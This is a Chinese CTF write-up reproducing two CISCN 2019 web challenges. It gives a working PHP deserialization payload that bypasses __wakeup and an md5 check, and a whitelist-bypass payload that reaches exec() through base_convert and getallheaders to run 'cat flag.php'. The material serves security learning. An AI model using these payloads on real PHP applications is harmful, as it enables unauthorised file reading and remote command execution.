2019CISCN web题赛-JustSoSo;love_math(复现)
0x00前言
这几天从网上找个CMS源码开始练习审计,盯着众多的代码debug调呀调头晕脑胀的,还不错找到个文件读取和一个ssrf...
上月底结束的CISCN线上赛,web四道,仔细研究的2道,做出了一道,刚好比赛时顺手把源码弄了下来,结合赛后师傅们的writeup复现一下这两道
0x01JustSoSo
有3个文件,index.php和hint.php可以通过文件filter来读取,而flag.php需要利用反序列化来读取
index.php
<?php error_reporting(0); $file = $_GET["file"]; $payload = $_GET["payload"]; if(!isset($file)){echo 'Missing parameter'.'<br>'; } if(preg_match("/flag/",$file)){die('hack attacked!!!'); } @include($file); if(isset($payload)){ $url = parse_url($_SERVER['REQUEST_URI']);parse_str($url['query'],$query);foreach($query as $value){if (preg_match("/flag/",$value)) { die('stop hacking!');exit();}}$payload = unserialize($payload); }else{ echo "Missing parameters"; }?>
hint.php
<?php class Handle{ private $handle; public function __wakeup(){foreach(get_object_vars($this) as $k => $v) {$this->$k = null;}echo "Waking up\n";}public function __construct($handle) { $this->handle = $handle; } public function __destruct(){$this->handle->getFlag();} }class Flag{public $file;public $token;public $token_flag;function __construct($file){$this->file = $file;$this->token_flag = $this->token = md5(rand(1,10000));}public function getFlag(){$this->token_flag = md5(rand(1,10000));if($this->token === $this->token_flag){if(isset($this->file)){echo @highlight_file($this->file,true); } } } } ?>
入口在index.php中的
$payload = unserialize($payload);
这一行代码,通过GET传入,因为不能直接读flag,所以file中不能包含flag字段,但是payload中的waf可以绕过
整个利用要绕过3个点
1、利用http:/127.0.0.1///file=hint&payload=flag中的///来绕过payload中对$_SERVER['REQUEST_URI']的检验
参考文章:http://www.am0s.com/functions/406.html
2.利用反序列化被__wakeup()时,如果序列化字符串包含的成员数和实际数不想合导致__wakeup()不被执行的绕过
3.利用R来绕过md5随机生成的检验
为什么可以这么绕过,可以参考这篇文章http://www.neatstudio.com/show-161-1.shtml,简单介绍了下R是什么参数
文章中提到了R是指针引用,这里就详细插叙描述下使用方法
插入
<?php class siji{public $int;public $str;public $str_tmp;public $int_tmp;public $md5;public $md5_tmp; }$clzz = new siji(); $clzz->int = 1; $clzz->str = "hello"; $clzz->md5 = md5(rand(1,10000)); $clzz->int_tmp = &$clzz->int; $clzz->str_tmp = &$clzz->str; $clzz->md5_tmp = &$clzz->md5;echo serialize($clzz); //O:4:"siji":6:{s:3:"int";i:1;s:3:"str";s:5:"hello";s:7:"str_tmp";R:3;s:7:"int_tmp";R:2;s:3:"md5";s:32:"17d8da815fa21c57af9829fb0a869602";s:7:"md5_tmp";R:4;}
可以看到如果使用引用那么题目中的R是4位的,根据引用目标的值不同R:num,这个num是不同的
<?php class siji{public $int;public $str;public $str_tmp;public $int_tmp;public $md5;public $md5_tmp; }$clzz = new siji(); $clzz->int = 1; $clzz->str = "hello"; $clzz->md5 = md5(rand(1,10000)); $clzz->int_tmp = &$clzz->int; $clzz->str_tmp = &$clzz->str; $clzz->md5_tmp = &$clzz->md5;$ser = serialize($clzz); echo $ser . "<br>"; //O:4:"siji":6:{s:3:"int";i:1;s:3:"str";s:5:"hello";s:7:"str_tmp";R:3;s:7:"int_tmp";R:2;s:3:"md5";s:32:"17d8da815fa21c57af9829fb0a869602";s:7:"md5_tmp";R:4;}$clzz2 = unserialize($ser); echo "<hr>"; echo "md5 is:" . $clzz2->md5 . ",md5_tmp is:" . $clzz2->md5_tmp . "<br>"; //md5 is:3cef96dcc9b8035d23f69e30bb19218a,md5_tmp is:3cef96dcc9b8035d23f69e30bb19218a $clzz2->md5 = md5(rand(1,10000)); echo "md5 is:" . $clzz2->md5 . ",md5_tmp is:" . $clzz2->md5_tmp . "<br>"; //md5 is:52bdba949576e6bcec5682a4993bfb58,md5_tmp is:52bdba949576e6bcec5682a4993bfb58
那么在反序列化后对md5成员进行改变,md5_tmp成员会跟着一起改变,毕竟他是指向md5的值的
插入结束
生成payload的payload.php
<?php class Handle{private $handle;public function __construct($handle) {$this->handle = $handle;} }class Flag{public $file;public $token;public $token_flag;function __construct($file){$this->file = $file;//$this->token_flag = $this->token = md5(rand(1,10000)); } } $class1 = new Flag("flag.php"); $class2 = new Handle($class1); $tmp1 = serialize($class2); echo $tmp1 ."<hr>"; $tmp2 = str_replace(":1:",":2:", $tmp1); $tmp3 = str_replace("token_flag\";N;","token_flag\";R:4;",$tmp2); echo $tmp3 ."<hr>"; echo urlencode($tmp3); ?>
能够直接读取到flag.php文件了,最终payload如下(我这里本地测试的,flag.php文件自己随手写的)
http://127.0.0.1///cc/index.php?file=hint.php&payload=O%3A6%3A%22Handle%22%3A2%3A%7Bs%3A14%3A%22%00Handle%00handle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A5%3A%22token%22%3BN%3Bs%3A10%3A%22token_flag%22%3BR%3A4%3B%7D%7D
吐槽下比赛的时候真的真的没有想到第三点的绕过,写了python脚本爆破md5,在本地能够十分钟左右跑出来,挂在比赛服务器上就被知道创于的waf给拦截了,因为跑的太快。最后没发送一次sleep 1秒,2台电脑跑了1个小时,终于撞出来了,费力不讨好的非预期解法2333
0x02love_math
先直接上源码,目的是读取flag.php文件
<html><meta charset="utf-8"></html><?php error_reporting(0); //听说你很喜欢数学,不知道你是否爱它胜过爱flag if(!isset($_GET['c'])){show_source(__FILE__); }else{//例子 c=20-1$content = $_GET['c'];if (strlen($content) >= 80) {die("太长了不会算");}$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $content)) {die("请不要输入奇奇怪怪的字符");}}//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);foreach ($used_funcs[0] as $func) {if (!in_array($func, $whitelist)) {die("请不要输入奇奇怪怪的函数");}}eval('echo '.$content.';'); }
看懂waf的原理,大致要求是这样的
1.payload长度不能超过80
2.payload中不能包含' ', '\t', '\r', '\n',''', '"', '`', '[', ']' 这些字符
3.payload中不能有不是$whitelist白名单里面的单词出现,比如
abs(1)能过
1abs()能过
absa()不能过
abs(a)不能过
abs()a不能过
最先我想的是用拼接裁剪的方式把payload组合出来,我极限组合在77字符能把phpinfo给组合出来,但是getflag,怎么也会超长度
$pi=hypot.min.fmod;$pi=$pi{2}.$pi{0}.$pi{2}.$pi{6}.$pi{7}.$pi{8}.$pi{3};$pi()
然后考虑是不是touch个文件,进行把命令拆分写入文件,再执行文件,但是失败了
最后看了writeup发现在众多函数中有个base_convert
()函数,这个才是解题的关键
先看看函数的用法https://www.runoob.com/php/func-math-base-convert.html
在看这道题writeup之前,我的认知还停留在16进制会带个abcdef,殊不知还可以到36进制,可以带所有小写字母
有了这个函数就能大大减短payload了
如果直接使用读取文件函数file_get_contents中包含下划线不在我们36进制中,并且base_convert第一个参数太长会溢出,也就是10进制数没法无限大
最后的方法是借助getallheader()来控制请求头,通过请求头的字段读取flag.php
这里也就类似于$_GET,$_POST之类的,但是因为只能控制小写字符,所以大写的直接被pass掉
getallheader()返回的是数组,要从数组里面取数据用array['xxx'],但是无奈[]被waf了,因为{}中是可以带数字的,这里用getallheader(){1}可以返回自定义头1里面的内容
这里因为php版本问题,我windows下php7.0前的所有版本对于getallheader进行30-36的进制转换,再转换回来的时候都存在溢出,也就是无法把10进制数变回getallheader
最终再linux下使用的php7.3版本能够在10进制与30进制之间转换
最后的payload如下
$pi=base_convert,$pi(696468,10,36)(($pi(8768397090111664438,10,30))(){1})//exec(getallheaders(){1})
操作xx和yy,中间用逗号隔开,echo都能输出
echo xx,yy
并且在请求头上加上1:cat flag.php字段即可
0xff结语
当成游戏玩CTF很有趣啊,但是要去挣个名次什么的还是很有压力,多亏了神仙队友才得以晋级orz。
这两道题的源码在复现的过程中全部有给出,有兴趣的同学也可以copy下自己搭波环境
转载于:https://www.cnblogs.com/sijidou/p/10802475.html
2019CISCN web题赛-JustSoSo;love_math(复现)相关推荐
- ISCC web题复现
前言 第一次参加ISCC线上赛,感觉题目质量还是挺好的,擂台赛都是大佬们的主场,向我这样的小白也只能学学新东西.在此总结做过的web题目以及相关知识点. 冬奥会 这是一道典型的代码审计.代码中需要满足 ...
- CTF Web题 部分WP
1.web2 听说聪明的人都能找到答案 http://123.206.87.240:8002/web2/ CTRL + u 查看源代码 2.计算器 http://123.206.87.240:8002 ...
- 【CTF整理】Who are you (2017强网杯web题)
[CTF整理]Who are you (2017强网杯web题) 别人思路总结: 0x01 初探 打开网页就是一句"Sorry. You have no permissions." ...
- 替换url部分_MOCTF部分Web题攻略
文章来自零釼实验室成员 南宫十六 文章共1864字32图 预计阅读时间5分钟 MOCTF部分Web题解 MOCTF的题目还是比较简单的,今天这篇就当个web类型的入门题吧.本来想把web题解题思路一次 ...
- A5.2021年全国数学建模竞赛B题-赛题分析与评阅要点(乙醇偶合制备C4烯烃分析)
A5.2021年全国数学建模竞赛B题-赛题分析与评阅要点(乙醇偶合制备C4烯烃分析),本文转载竞赛赛题.评阅要点,进行赛题解读和分析. 评阅要点为竞赛组委会官方公布,完整体现了解题思路. 本文首发于 ...
- A4.2021年全国数学建模竞赛A题-赛题分析与评阅要点(FAST主动反射面的形状调节)
Python小白的数学建模课-A4.2021年全国数学建模竞赛A题(FAST主动反射面的形状调节),本文转载竞赛赛题.评阅要点,进行赛题解读和分析. 评阅要点为竞赛组委会官方公布,完整体现了解题思路. ...
- 攻防世界Web题 - unseping 总结
攻防世界Web题 - unseping 总结 1.审题 进入题目,可以看出来是典型的php反序列化题目. 2.源代码分析 <?php highlight_file(__FILE__); //显示 ...
- CGCTF平台web题writeup
前言 大概的做了做CGCTF的web题,基本都做出来了,在这整理了一下writeup,其中一些十分简单的题,就大概的写了些,后面一些难题会更详细,需要的可以直接拉倒最后面.共勉. 正文 签到题 10p ...
- BugkuCTF之web题之细心
BugkuCTF之web题之细心 一进网页发现: 这是啥????(黑人问号)一脸的懵逼,查看源代码?发现几个链接欸,点了几下发现,然并卵...发现提示找不到文件,那好吧,就一个一个来试试,试到robo ...
最新文章
- mysql计算两gps坐标的距离_mysql 计算两坐标间的距离
- NSIS 打包.net2.0
- 【APP Web架构】企业web高可用集群实战之haproxy篇续(二)
- 求给定数组子数组中最接近0的和
- python 爬取今日头条热点新闻
- windows脚本命令闪退_NCL2Python|windows系统安装Pyngl和Pynio
- 计算机基础知识 音频,计算机基础知识(总结+试题).pdf
- 访问控制:protected
- 手机端网页开发的两个重要设置
- Oracle密码过期ORA-28001
- 读书笔记深入理解JVM01 关于OutOfMemoryError 堆空间的溢出
- 第五章 运输层[练习题+课后习题]
- java做安卓开发需要学什么,安卓开发要学什么 需要什么基础知识
- YUV_NV21图像数据到RGB颜色空间的转换
- 新型智慧城市城市大脑大数据平台顶层设计规划建设方案
- netty权威指南 微云_《Netty权威指南》(一)走进 Java NIO
- win2012 r2/win2016修改域密码复杂度策略
- mysql 查询随机10条数据 (转载)
- 计算机房疏散门宽度,13.2 防火与疏散 - 数据中心设计规范 GB50174-2017 - 消防规范大全 - 消防资源网!...
- 重温儿时经典《坦克大战》
热门文章
- 硬件配置部分——从无到有自主搭建视觉惯性VI-SLAM(vins-mono)平台
- 算法实现将输入的英语句子反过来输出
- 增量备份与差异备份的区别(Incremental vs. differential backup: A comparison)
- python alpha beta 剪枝_一看就懂的 Alpha-Beta 剪枝算法详解
- Python一行代码实现正三角形
- python报错No module named XXX通用解决方法
- java百度地图逆地址解析_web前端通过百度地图API批量逆解析地址
- 西部数据硬盘第一次启动很慢
- 基于SpringBoot和Vue实现的个人博客网站快速搭建(已开源)
- Nginx调试日志[emerg]: invalid log level “debug_http” in /path/conf/nginx.conf:XX